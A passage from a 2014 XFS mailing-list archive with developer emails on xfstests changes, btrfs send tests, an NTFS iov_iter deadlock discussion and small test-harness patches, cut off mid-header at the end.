david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From david@fromorbit.com Sun Feb 2 16:26:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B1F967F63 for ; Sun, 2 Feb 2014 16:26:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 50991AC001 for ; Sun, 2 Feb 2014 14:26:24 -0800 (PST) X-ASG-Debug-ID: 1391379981-04cbb00c28a0630001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id EPLByQ4ugtkT2WQb for ; Sun, 02 Feb 2014 14:26:22 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao8JAMnF7lJ5LGaB/2dsb2JhbABagwy5UYVSgQAXdIIlAQEFOhwcBxAIAxgJJQ8FDRgDIROHcQMQwnkNiTMXFoxdghYHhDgElj6Ba4xfhUODQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 08:56:01 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA5UE-0005ed-V7; Mon, 03 Feb 2014 09:25:59 +1100 Date: Mon, 3 Feb 2014 09:25:58 +1100 From: Dave Chinner To: Filipe David Manana Cc: xfs@oss.sgi.com, "linux-btrfs@vger.kernel.org" , Josef Bacik Subject: Re: [PATCH] xfstests: more tests for test case btrfs/030 Message-ID: <20140202222558.GV2212@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: more tests for test case btrfs/030 References: <1391220332-22118-1-git-send-email-fdmanana@gmail.com> <20140202215720.GT2212@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391379981 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144764 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 10:08:06PM +0000, Filipe David Manana wrote: > On Sun, Feb 2, 2014 at 9:57 PM, Dave Chinner wrote: > > On Sat, Feb 01, 2014 at 02:05:32AM +0000, Filipe David Borba Manana wrote: > >> This change adds some new tests for btrfs' incremental send feature. > >> These are all related with inverting the parent-child relationship > >> of directories, and cover the cases: > >> > >> * when the new parent didn't get renamed (just moved) > >> * when a child file of the former parent gets renamed too > >> > >> These new cases are fixed by the following btrfs linux kernel patches: > >> > >> * "Btrfs: more send support for parent/child dir relationship inversion" > >> * "Btrfs: fix send dealing with file renames and directory moves" > >> > >> Signed-off-by: Filipe David Borba Manana > > > > Rather than modifying 030 which will cause it to fail on kernels > > where it previously passed, can you factor out the common code and > > create a new test with the additional coverage? > > > > i.e. the rule of thumb is that once a test is "done" we don't go > > back and modify it in significant ways - we write a new unit test > > that covers the new/extended functionality. Redundancy in unit tests > > is not a bad thing... > > Right. The only reason I did this, instead of a new test file, is that > because the former fix which btrfs/030 relates to is not yet in any > kernel release. Given this fact, what do you think? Ok, so if it already fails for everyone, then I think we'll be fine to modify it like this. "done" is a flexible concept when it comes to unit tests ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 2 16:35:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6A47A7F72 for ; Sun, 2 Feb 2014 16:35:34 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 34C2C304043 for ; Sun, 2 Feb 2014 14:35:31 -0800 (PST) X-ASG-Debug-ID: 1391380528-04bdf0121db3c50001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id KO5xWrtoW9Sn2xLm for ; Sun, 02 Feb 2014 14:35:28 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuMTAPbG7lJ5LGaB/2dsb2JhbABAGoMMOKkJkBCFUoEAF3SCJQEBBAE6HCMFCwgDGAklDwUlAyETh30HDjbLdRcWjnMHhDgEmCmSIoNBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 09:05:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA5dN-0005fg-6P; Mon, 03 Feb 2014 09:35:25 +1100 Date: Mon, 3 Feb 2014 09:35:25 +1100 From: Dave Chinner To: Eric Sandeen Cc: Alex Lyakas , xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfstests updated to 197f773 Message-ID: <20140202223525.GW2212@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfstests updated to 197f773 References: <20140124025846.GL27606@dastard> <52E95EB8.8080003@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E95EB8.8080003@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391380528 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144764 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Wed, Jan 29, 2014 at 02:04:08PM -0600, Eric Sandeen wrote: > On 1/29/14, 1:55 PM, Alex Lyakas wrote: > > Hi Dave, > > are all tests in xfstests (those relevant for XFS) in principle > > supposed to pass on XFS? > > I am running these tests on a pristine XFS from kernel 3.8.13 > > (srcversion 9862FA08CF42E06A4151111) and I get: > > > > root@vc-13-12-1095-35-dev:/mnt/work/alex/xfstests# ./check tests/generic/013 > > FSTYP -- xfs (non-debug) > > PLATFORM -- Linux/x86_64 vc-13-12-1095-35-dev 3.8.13-030813-generic > > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > > MOUNT_OPTIONS -- /dev/vdb /mnt/SCRATCH_DIR > > > > generic/013 34s > > _check_xfs_filesystem: filesystem on /dev/vda is inconsistent (c) (see > > /mnt/work/alex/xfstests/results//generic/013.full) > > uh, so it failed > > > Ran: generic/013 > > Passed all 1 tests > > but it passed? ;) It passed the test, but failed the post test filesystem checks. > The fact that you saw: > > > generic/013 34s > > and not: > > > generic/013 34s ... 33s > or > > generic/013 34s ... output mismatch > > or similar, makes me think the test did not even start, and /dev/vda was > corrupted before you even started the test, but I'm not certain. No, what that means is that there was no results/check.time file that had previous runtime information in it. i.e. this is the first time the test was run, or that it has always failed like this in the past on this machine. As it is: http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F Cheers, Dave. -- Dave Chinner david@fromorbit.com From aia21@hermes.cam.ac.uk Sun Feb 2 17:17:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C4F417F9F for ; Sun, 2 Feb 2014 17:17:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A1CFC304039 for ; Sun, 2 Feb 2014 15:16:59 -0800 (PST) X-ASG-Debug-ID: 1391383017-04cbb00c28a1010001-NocioJ Received: from ppsw-52.csi.cam.ac.uk (ppsw-52.csi.cam.ac.uk [131.111.8.152]) by cuda.sgi.com with ESMTP id T1TKoQ4U60SVBEIl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 15:16:58 -0800 (PST) X-Barracuda-Envelope-From: aia21@hermes.cam.ac.uk X-Barracuda-Apparent-Source-IP: 131.111.8.152 X-Cam-AntiVirus: found ScamNailer.Phish.viro_AT_zeniv.linux.org.uk X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ Received: from host81-154-223-138.range81-154.btcentralplus.com ([81.154.223.138]:52031 helo=imp.home) by ppsw-52.csi.cam.ac.uk (smtp.hermes.cam.ac.uk [131.111.8.158]:587) with esmtpsa (PLAIN:aia21) (TLSv1:AES128-SHA:128) id 1WA6Gq-0005JN-FX (Exim 4.82_3-c0e5623) (return-path ); Sun, 02 Feb 2014 23:16:12 +0000 Subject: Re: [RFC] unifying write variants for filesystems Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems Content-Type: text/plain; charset=us-ascii From: Anton Altaparmakov In-Reply-To: <20140201224301.GS10323@ZenIV.linux.org.uk> Date: Sun, 2 Feb 2014 23:16:10 +0000 Cc: Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp Content-Transfer-Encoding: quoted-printable Message-Id: <26FB2577-B1A9-47BF-B1BC-47350DC37D3A@tuxera.com> References: <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> To: Al Viro X-Mailer: Apple Mail (2.1827) Sender: Anton Altaparmakov X-Barracuda-Connect: ppsw-52.csi.cam.ac.uk[131.111.8.152] X-Barracuda-Start-Time: 1391383018 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Al, On 1 Feb 2014, at 22:43, Al Viro wrote: > * ntfs_file_buffered_write() should switch to iov_iter as well. It's > open-coding a lot of iov_iter stuff. The NTFS code predates iov_iter by more than 10 years so it simply = wasn't there to use when I wrote NTFS... But yes, NTFS should be = updated to use it, I agree completely. > It's not entirely trivial and > I'd really like to hear from ntfs folks on that, though, and the = current > code looks deadlock-prone. We prefault everything, then lock the = pages > to which we'll be copying, then attempt to do = __copy_from_user_inatomic(), > falling back to __copy_from_user() if that fails. Fine, but what = happens > if the source of write() is mmaped from the same file and we lose CPU = while > prefaulting the last page, have memory pressure evict the first one, = then > have __ntfs_grab_cache_pages() allocate and lock (nonuptodate) pages > we'll be copying to and have __copy_from_user() try to copy *from* = those > same pages? We are doing it while holding these pages locked, so = pagefault > will have really fun time with them... Anton? That would deadlock. You are (of course) quite right. But the generic = file write code used to suffer from the same deadlock problem and no-one = ever complained much about it IIRC... In the current kernel the problem does not exist any more (due to the do = the atomic copy with pagefaults disabled and then retrying with just the = first segment and keeping retrying till it works) so indeed updating = NTFS to use iov_iter would be a good opportunity to get that fixed in = NTFS as well. It does not matter if for NTFS it turns out to be quite inefficient (due = to locking/unlocking several pages at once) as it is such a crazy corner = case that will hardly ever be triggered in real life especially so as = the only time NTFS operates on more than one page at once in = ntfs_file_buffered_write() is when a write happens into a sparse logical = block (NTFS "cluster") and only on volumes with a logical block size > = PAGE_CACHE_SIZE which with a minimum PAGE_CACHE_SIZE of 4096 bytes on = Linux and the fact that Windows only ever creates volumes with a logical = block size of 4096 (unless the user specifically forces a different = block size when creating the volume) it means that it basically hardly = ever happens. Also, the NTFS kernel driver never creates sparse files, = i.e. the sparse file would have had to come from Windows or another NTFS = implementation... I will have a look at moving NTFS to iov_iter and fixing the potential = deadlock at the same time. Best regards, Anton --=20 Anton Altaparmakov (replace at with @) Unix Support, Computing Service, University of Cambridge J.J. Thomson Avenue, Cambridge, CB3 0RB, UK From david@fromorbit.com Sun Feb 2 17:50:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B5D9B7FA4 for ; Sun, 2 Feb 2014 17:50:02 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 91752304051 for ; Sun, 2 Feb 2014 15:50:02 -0800 (PST) X-ASG-Debug-ID: 1391384996-04cb6c6de2a5d60001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id y8h0sM2BpvQUFYSn for ; Sun, 02 Feb 2014 15:49:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4TAIrY7lJ5LGaB/2dsb2JhbABagww4qQuQEIVSgQAXdIJmHCMYJDQFJQM0iATMSxaOcx2EIgSYKZIig0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 10:19:56 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WA6nQ-0005oD-Fz; Mon, 03 Feb 2014 10:49:52 +1100 Date: Mon, 3 Feb 2014 10:49:52 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [ANNOUCE] xfstests: updated to ad969ca Message-ID: <20140202234952.GO13997@dastard> X-ASG-Orig-Subj: [ANNOUCE] xfstests: updated to ad969ca MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391384996 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. The new head of the master branch is commit: ad969ca btrfs/030: add more test cases New Commits: Brian Foster (2): [20641b8] xfs: remove spurious line continuation from _require_xfs_crc [710281f] generic/313: initialise TEST_DIR before use Eric Whitney (1): [138ea5c] ext4/306: avoid failures caused by incompatible mount options Filipe David Borba Manana (2): [fd7a8e8] btrfs/025: make test more robust [ad969ca] btrfs/030: add more test cases Josef Bacik (2): [78d86b9] btrfs/029: filter mkfs and cp output [8ebabf7] generic/299: truncate can fail with ENOSPC Wang Shilong (2): [6717b24] Btrfs: add regression test for transaction abortion when remounting [cd86825] Btrfs: add regression test for iterating backrefs Code Diffstat: common/rc | 2 +- tests/btrfs/025 | 34 ++++++++++----------- tests/btrfs/025.out | 12 -------- tests/btrfs/029 | 6 ++-- tests/btrfs/029.out | 4 +-- tests/btrfs/030 | 86 ++++++++++++++++++++++++++++++++++++++++------------- tests/btrfs/032 | 57 +++++++++++++++++++++++++++++++++++ tests/btrfs/032.out | 3 ++ tests/btrfs/033 | 71 +++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/033.out | 2 ++ tests/btrfs/group | 2 ++ tests/ext4/306 | 21 +++++-------- tests/generic/299 | 2 +- tests/generic/313 | 3 +- 14 files changed, 233 insertions(+), 72 deletions(-) create mode 100755 tests/btrfs/032 create mode 100644 tests/btrfs/032.out create mode 100755 tests/btrfs/033 create mode 100644 tests/btrfs/033.out -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Sun Feb 2 17:56:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 295BA7F61 for ; Sun, 2 Feb 2014 17:56:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B8B98AC001 for ; Sun, 2 Feb 2014 15:56:15 -0800 (PST) X-ASG-Debug-ID: 1391385371-04bdf0121eb5060001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id SfJkBBDs2ioRycxi for ; Sun, 02 Feb 2014 15:56:13 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGALbZ7lJ5LGaB/2dsb2JhbABagwzAJRd0giUBAQVWMwgYMTkDGxmIBMw2F5NIBKJ5h1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 10:26:11 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WA6tU-0005p7-U8 for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:09 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WA6tU-0003NI-TF for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/4] generic: inconsistent initial state for test_generic_punch Date: Mon, 3 Feb 2014 10:56:05 +1100 X-ASG-Orig-Subj: [PATCH 4/4] generic: inconsistent initial state for test_generic_punch Message-Id: <1391385365-12790-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1391385365-12790-1-git-send-email-david@fromorbit.com> References: <1391385365-12790-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391385371 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 From: Dave Chinner The first test may start with the file from the previous test, and that is in an unknown state. Hence always remove the test file before the first test so that it doesn't have extents inside the test range as it is supposed to be testing into a hole. Signed-off-by: Dave Chinner --- common/punch | 7 ++++--- tests/generic/255.out | 8 ++------ tests/generic/316.out | 8 ++------ tests/xfs/252.out | 8 ++------ 4 files changed, 10 insertions(+), 21 deletions(-) diff --git a/common/punch b/common/punch index 4ed8406..49715a7 100644 --- a/common/punch +++ b/common/punch @@ -318,10 +318,11 @@ _test_generic_punch() filter_cmd=$5 testfile=$6 + # initial test state must be defined, otherwise the first test can fail + # due ot stale file state left from previous tests. + rm -f $testfile + echo " 1. into a hole" - if [ "$remove_testfile" ]; then - rm -f $testfile - fi $XFS_IO_PROG -f -c "truncate 20k" \ -c "$zero_cmd 4k 8k" \ -c "$map_cmd -v" $testfile | $filter_cmd diff --git a/tests/generic/255.out b/tests/generic/255.out index cb9fdca..217ef3e 100644 --- a/tests/generic/255.out +++ b/tests/generic/255.out @@ -158,9 +158,7 @@ eecb7aa303d121835de05028751d301c 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 1. into a hole -0: [0..7]: extent -1: [8..39]: hole -5a58e46082be047d0f13bee7974015b9 +daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: extent 1: [8..23]: hole @@ -242,9 +240,7 @@ eecb7aa303d121835de05028751d301c 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 1. into a hole -0: [0..7]: extent -1: [8..39]: hole -5a58e46082be047d0f13bee7974015b9 +daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: extent 1: [8..23]: hole diff --git a/tests/generic/316.out b/tests/generic/316.out index 222e601..383f0d1 100644 --- a/tests/generic/316.out +++ b/tests/generic/316.out @@ -86,9 +86,7 @@ eecb7aa303d121835de05028751d301c 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 1. into a hole -0: [0..7]: extent -1: [8..39]: hole -5a58e46082be047d0f13bee7974015b9 +daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: extent 1: [8..23]: hole @@ -135,9 +133,7 @@ eecb7aa303d121835de05028751d301c 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 1. into a hole -0: [0..7]: extent -1: [8..39]: hole -5a58e46082be047d0f13bee7974015b9 +daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: extent 1: [8..23]: hole diff --git a/tests/xfs/252.out b/tests/xfs/252.out index 539c8a4..47d9a4c 100644 --- a/tests/xfs/252.out +++ b/tests/xfs/252.out @@ -158,9 +158,7 @@ eecb7aa303d121835de05028751d301c 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 1. into a hole -0: [0..7]: data -1: [8..39]: hole -5a58e46082be047d0f13bee7974015b9 +daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: data 1: [8..23]: hole @@ -242,9 +240,7 @@ eecb7aa303d121835de05028751d301c 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 1. into a hole -0: [0..7]: data -1: [8..39]: hole -5a58e46082be047d0f13bee7974015b9 +daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: data 1: [8..23]: hole -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 2 17:56:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C4487F61 for ; Sun, 2 Feb 2014 17:56:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B2DC8AC001 for ; Sun, 2 Feb 2014 15:56:16 -0800 (PST) X-ASG-Debug-ID: 1391385371-04bdf0121eb5060002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id onZHD4cGqQtAtOsO for ; Sun, 02 Feb 2014 15:56:15 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGALbZ7lJ5LGaB/2dsb2JhbABagwzAJRd0giUBAQVWMwgYMTkDGxmIBMw2F44lgQGEIgSqS4NBKIEs Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 03 Feb 2014 10:26:11 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1WA6tU-0005p4-SE for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WA6tU-0003N3-RA for xfs@oss.sgi.com; Mon, 03 Feb 2014 10:56:08 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/4] xfs/199: enforce v4 superblock format for test Date: Mon, 3 Feb 2014 10:56:02 +1100 X-ASG-Orig-Subj: [PATCH 1/4] xfs/199: enforce v4 superblock format for test Message-Id: <1391385365-12790-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1391385365-12790-1-git-send-email-david@fromorbit.com> References: <1391385365-12790-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1391385374 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This test relies of the contents of the sb_features2 field being known. Make sure ot clear allt eh MKFS_OPTIONS and ensure that we direct mkfs to create only the simplest of featuresets to test this functionality. Signed-off-by: Dave Chinner --- tests/xfs/199 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/xfs/199 b/tests/xfs/199 index 1d64e02..c1b5962 100755 --- a/tests/xfs/199 +++ b/tests/xfs/199 @@ -49,7 +49,10 @@ _supported_os Linux _require_scratch -_scratch_mkfs_xfs -l lazy-count=1 >/dev/null 2>&1 +# clear any mkfs options so taht we can directly specify the options we need to +# be able to test the features bitmask behaviour correctly. +MKFS_OPTIONS= +_scratch_mkfs_xfs -l lazy-count=1 -i projid32bit=0 >/dev/null 2>&1 # # Print the current flags. Just a dummy so that the test breaks -- 1.8.4.rc3 From dave@fromorbit.com Sun Feb 2 17:56:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B9777FAA for ; Sun, 2 Feb 2014 17:56:17 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1A052AC002 for ; Sun, 2 Feb 2014 15:56:16 -0800 (PST) X-ASG-Debug-ID: 